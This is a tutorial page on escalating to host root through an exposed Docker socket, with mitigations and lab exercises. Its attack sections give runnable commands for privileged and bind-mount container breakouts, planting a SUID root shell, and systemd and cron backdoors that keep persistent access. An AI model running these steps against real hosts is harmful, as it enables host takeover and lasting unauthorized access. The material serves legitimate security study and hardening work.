~/home/study/abusing-docker-socket-var-run

Abusing the Docker Socket (/var/run/docker.sock) for Host Takeover

Learn how to locate, enumerate, and exploit the Docker Unix socket to run arbitrary Docker commands, spawn privileged containers, mount the host filesystem, and achieve persistent root access on the host. Includes defensive measures and real-world examples.

Introduction

The Docker daemon listens by default on the Unix domain socket /var/run/docker.sock. This socket provides a powerful API that allows any process with read/write access to issue full Docker commands - effectively the same level of privilege as the root user on the host. When mis-configured, attackers can abuse this socket to spin up containers, mount the host filesystem, and ultimately gain root on the underlying host.

Understanding socket abuse is critical for defenders because the Docker socket is often unintentionally exposed to low-privileged users, CI pipelines, or web applications running inside containers. The technique is a staple in modern container-centric attack frameworks and has been observed in high-profile breaches.

In this guide we will walk through the entire attack chain - from locating the socket to establishing a durable foothold - while providing mitigation strategies for each step.

Prerequisites

  • Solid grasp of Docker basics (images, containers, volumes, daemon operation).
  • Familiarity with Linux permissions, namespaces, and basic privilege-escalation concepts.
  • Experience with Docker image analysis and the GTFObins catalog for locating useful binaries inside containers.
  • Access to a Linux host (or VM) with Docker installed for hands-on labs.

Core Concepts

Before diving into the sub-topics, let’s review the fundamental pieces that make socket abuse possible.

Docker’s Unix socket

The Docker daemon (dockerd) creates a Unix domain socket at /var/run/docker.sock. This socket implements the Docker Engine API over HTTP (JSON-encoded). When a client (e.g., the docker CLI) connects, it can issue POST, GET, DELETE requests to manage containers, images, networks, and more. No additional authentication is performed - the daemon trusts the OS’s file-system permissions.

Permission model

By default the socket is owned by root and the docker group, with mode 660. Any user that is a member of the docker group can act as root via the Docker API. This is why best practice recommends treating membership in the docker group as a privileged operation.

Why the socket is a high-value asset

  • It bypasses Linux capabilities - a container can be started with --privileged or with host mounts without the attacker needing CAP_SYS_ADMIN directly.
  • It provides full control over image pulls, enabling the attacker to fetch malicious images from any registry.
  • It can be accessed from within containers that bind-mount the socket, creating a “container-in-container” breakout path.

Because of these properties the socket is often dubbed the “root key” of a Docker host.

Locating and enumerating /var/run/docker.sock permissions

Step one is to discover whether the socket exists on the system and what permissions it has. On a typical host the socket resides at /var/run/docker.sock, but custom daemon configurations may place it elsewhere.

# Check default location
if [ -S /var/run/docker.sock ]; then echo "Docker socket found" ls -l /var/run/docker.sock
else echo "Socket not found at default path"
fi

The output will resemble:

srw-rw---- 1 root docker 0 Apr 28 12:34 /var/run/docker.sock

Key fields:

  • s - socket file.
  • Owner: root (cannot be changed without root).
  • Group: docker. Any user in this group can read/write.
  • Permissions: 660 - read/write for owner and group only.

If you are a low-privileged user, you can check group membership:

id -nG

If docker appears, you already have full control. If not, you must look for other ways to access the socket, such as:

  • Mis-configured services that bind-mount the socket into containers (e.g., CI runners).
  • World-readable sockets (mode 666) - rare but occasionally seen in development environments.
  • Set-UID binaries that open the socket on behalf of the caller.

Leveraging the Docker CLI over the socket without authentication

Once you have read/write access, you can use the Docker CLI to talk directly to the daemon. By default the CLI will use the socket if DOCKER_HOST is unset. However, you can explicitly point it at the socket using the -H flag, which is handy when the socket is in a non-standard location.

docker -H unix:///var/run/docker.sock info

Typical output includes daemon version, storage driver, and a list of containers. If you see this output, you have full control.

Running a one-off container

To test the ability to execute commands, launch a trivial container:

docker -H unix:///var/run/docker.sock run --rm alpine echo "Hello from Docker socket"

The command should print Hello from Docker socket. From here, you can start any image, mount volumes, enable privileged mode, etc.

Using the raw API (curl)

Because the socket speaks HTTP, you can also interact with it using curl and the --unix-socket option. This is useful when you want to script actions without the Docker binary.

curl --unix-socket /var/run/docker.sock http://localhost/containers/json

This returns a JSON array of running containers. You can POST to /containers/create to spin up a new container programmatically.

Creating a malicious container that mounts host filesystem

With socket access, the attacker can create a container that bind-mounts the host’s root filesystem. This is the cornerstone of most Docker socket breakout attacks.

Simple bind-mount example

docker -H unix:///var/run/docker.sock run -d --name hostfs_breakout -v /:/hostfs:rw --restart unless-stopped alpine tail -f /dev/null

Explanation:

  • -v /:/hostfs:rw - mounts the host’s / into the container at /hostfs with read/write permissions.
  • --restart unless-stopped - ensures the container survives a host reboot (useful for persistence).
  • We keep the container alive with tail -f /dev/null.

Once the container is running, you can exec into it and interact with the host’s filesystem:

docker -H unix:///var/run/docker.sock exec -it hostfs_breakout sh
# Inside container
cd /hostfs
ls -l

From inside the container you have effectively the same file-system view as the host’s root user.

Escalating to host root via bind-mount

Even without --privileged, the bind-mount gives you the ability to replace host binaries, edit /etc/passwd, or drop a set-UID root shell. Example - planting a SUID binary:

# Inside the compromised container
cp /bin/bash /hostfs/tmp/bash_root
chmod +s /hostfs/tmp/bash_root

Now on the host, executing /tmp/bash_root spawns a root shell.

Escalating to root on the host via privileged container

Bind-mounting the host filesystem is powerful, but a more straightforward path is to launch a --privileged container. Privileged containers receive all Linux capabilities, can access host devices, and can manipulate cgroups.

Privileged container launch

docker -H unix:///var/run/docker.sock run -d --name privileged_root --privileged -v /:/hostfs:rw alpine sleep 3600

Now exec into it:

docker -H unix:///var/run/docker.sock exec -it privileged_root sh

Inside the container you can directly mount the host’s /proc/1/ns/mnt namespace to gain a view of the host’s mount namespace:

mkdir /host_root
mount --bind /hostfs /host_root
chroot /host_root /bin/sh

At this point you are effectively running a shell on the host with root UID (0). The chroot trick works because the privileged container can perform mount --bind on any host path.

Alternative: Using nsenter from inside the container

If the nsenter binary is present (or you copy it in from the host), you can attach to the host PID 1 namespace:

docker -H unix:///var/run/docker.sock exec -it privileged_root sh -c " cp /usr/bin/nsenter /hostfs/usr/local/bin/ && nsenter -t 1 -m -u -i -n -p sh"

This spawns a root shell attached to the host’s namespaces directly.

Persistence techniques using systemd services or cron via the socket

Gaining root is only half the battle; attackers need to stay after a reboot or Docker service restart. The Docker socket can be abused to install persistent mechanisms that survive host reboots.

Systemd service persistence

From a container with host bind-mount, you can write a systemd unit file to /etc/systemd/system/ and enable it.

# Inside privileged container (hostfs mounted at /hostfs)
cat > /hostfs/etc/systemd/system/docker-abuse.service <<EOF
[Unit]
Description=Malicious Docker Abuse Service
After=network.target

[Service]
ExecStart=/usr/bin/docker -H unix:///var/run/docker.sock run -d --name persistent_backdoor -v /:/hostfs:rw alpine sleep infinity
Restart=always

[Install]
WantedBy=multi-user.target
EOF

# Reload systemd and enable the service
chroot /hostfs systemctl daemon-reload
chroot /hostfs systemctl enable docker-abuse.service
chroot /hostfs systemctl start docker-abuse.service

After a reboot, docker-abuse.service will automatically launch a backdoor container that re-mounts the host filesystem, effectively restoring the attacker’s foothold.

Cron job persistence

Alternatively, a simple cron entry can re-create the malicious container every minute.

cat > /hostfs/etc/cron.d/docker_persist <<'EOF'
* * * * * root docker -H unix:///var/run/docker.sock run -d --rm -v /:/hostfs:rw alpine sh -c "chmod +s /hostfs/tmp/bash_root && echo 'persistence ready'"
EOF

Because the cron daemon runs as root, the entry executes with full privileges, ensuring the SUID shell is recreated if removed.

Practical Examples

Below are three end-to-end scenarios that combine the concepts above.

Scenario 1 - Compromise a CI runner

  1. The CI job runs inside a container that bind-mounts /var/run/docker.sock to allow Docker-in-Docker builds.
  2. The attacker adds a step to the pipeline that executes:
    docker -H unix:///var/run/docker.sock run -d -v /:/hostfs:rw --privileged alpine sleep 86400
    
  3. After the job finishes, the malicious container remains on the host, providing a root shell via /hostfs/tmp/bash_root.

Scenario 2 - Exploit a mis-configured socket permissions

  1. A developer accidentally changed the socket mode to 666 for debugging.
  2. A low-privileged user runs:
    docker -H unix:///var/run/docker.sock ps
    
  3. They then create a privileged breakout container and set up a systemd unit for persistence as shown earlier.

Scenario 3 - Remote code execution via a web app

Suppose a web application runs inside a container and mounts the Docker socket to perform on-the-fly image builds. An attacker can upload a malicious Dockerfile that runs a RUN curl ... | sh payload. When the app builds the image, the Docker daemon executes the payload on the host, effectively achieving RCE.

Tools & Commands

  • ls -l /var/run/docker.sock - check permissions.
  • docker -H unix:///var/run/docker.sock info - verify socket access.
  • curl --unix-socket /var/run/docker.sock - raw API query.
  • docker run -d --name X -v /:/hostfs:rw --privileged alpine sleep 3600 - privileged breakout.
  • nsenter - attach to host namespaces from inside a container.
  • systemctl daemon-reload && systemctl enable my.service - persist via systemd.
  • crontab -e or editing /etc/cron.d/ - cron persistence.

Defense & Mitigation

Protecting the Docker socket is a layered effort.

Principle of least privilege

  • Only add trusted users to the docker group.
  • Remove the group from production hosts where Docker is not needed for interactive users.

Restrict socket exposure

  • Never bind-mount /var/run/docker.sock into containers unless absolutely required.
  • If required, use a read-only mount and a proxy that enforces policy (e.g., Docker Authorization Plugins).

Use rootless Docker

Running Docker in rootless mode eliminates the need for a privileged socket - the socket is owned by an unprivileged user namespace, greatly reducing impact.

Audit and monitor

  • Log Docker API calls via the daemon’s --log-level=debug or an audit daemon.
  • Deploy file-integrity monitoring (e.g., AIDE, osquery) on /var/run/docker.sock and /etc/systemd/system/.
  • Set up alerts for new privileged containers or bind-mounts of /.

Container runtime security tools

  • Tools like gVisor, Kata Containers, or AppArmor profiles can limit the damage even if the socket is compromised.

Common Mistakes

  • Assuming group membership is safe. In many CI pipelines the docker group is granted to service accounts; attackers can leverage that.
  • Leaving the socket world-writable. Development environments sometimes set chmod 666 /var/run/docker.sock for convenience - a big red flag.
  • Forgetting to clean up privileged containers. Even after a breach, leftover containers will give the attacker a backdoor.
  • Not checking for --privileged flags. Attackers often use the flag to bypass SELinux/AppArmor restrictions.
  • Overlooking bind-mounts of host paths other than /. Mounting /var/run/docker.sock together with /etc or /opt can also lead to host compromise.

Real-World Impact

Docker socket abuse has been observed in ransomware campaigns (e.g., LockBit 3.0) where the ransomware encrypted the host after spawning a privileged container. Cloud-native CI/CD platforms (GitLab CI, GitHub Actions) that expose the socket to build containers have been targeted by supply-chain attacks, allowing threat actors to pivot from a compromised build job to full host takeover.

From a defender’s perspective, the risk is amplified in multi-tenant environments (shared Kubernetes nodes) where a malicious pod can mount the host socket and affect the entire node.

My experience shows that most organizations treat the Docker socket as “just another file”, but it is effectively a root-equivalent credential store. Treat it with the same rigor as SSH keys or admin passwords.

Practice Exercises

  1. Socket discovery: On a fresh VM, locate the Docker socket, change its permissions to 660, add a non-privileged user to the docker group, and verify they can run docker ps.
  2. Breakout container: Using only the socket, spin up a container that mounts the host root and creates a SUID binary. Verify you can obtain a root shell on the host.
  3. Persistence: Write a systemd unit from inside the breakout container that launches a backdoor container on boot. Simulate a host reboot (or restart systemd) and confirm persistence.
  4. Defensive hardening: Implement a Docker Authorization Plugin that denies any --privileged flag and any bind-mount of /. Test that the previous breakout attempts are blocked.
  5. Audit logging: Enable Docker daemon debug logs, trigger a container creation via the socket, and locate the corresponding log entry. Write a simple script that alerts on privileged container creation.

These labs can be performed on a disposable VM or in a controlled lab environment such as Vagrant + Docker or a cloud sandbox.

Further Reading

  • Docker Authorization Plugins - fine-grained API access control.
  • GTFOBins - list of binaries that can be abused for privilege escalation inside containers.
  • OWASP Container Security Cheat Sheet - best practices for securing Docker and Kubernetes.
  • “Breaking the Docker Daemon” (USENIX 2021) - academic analysis of socket abuse.
  • Red Team tools: docker-exploit, dockersh, and container-escape scripts on GitHub.

Summary

  • The Docker Unix socket is a powerful, root-equivalent interface; anyone with read/write access can control the daemon.
  • Locate the socket, enumerate its permissions, and verify group membership.
  • Use the Docker CLI or raw HTTP API to spin up containers, mount the host filesystem, and gain root.
  • Privileged containers simplify host namespace takeover; bind-mounts of / enable SUID binary planting.
  • Persistence can be achieved via systemd services or cron jobs written through the socket.
  • Defend by restricting socket exposure, using rootless Docker, employing authorization plugins, and monitoring for privileged container activity.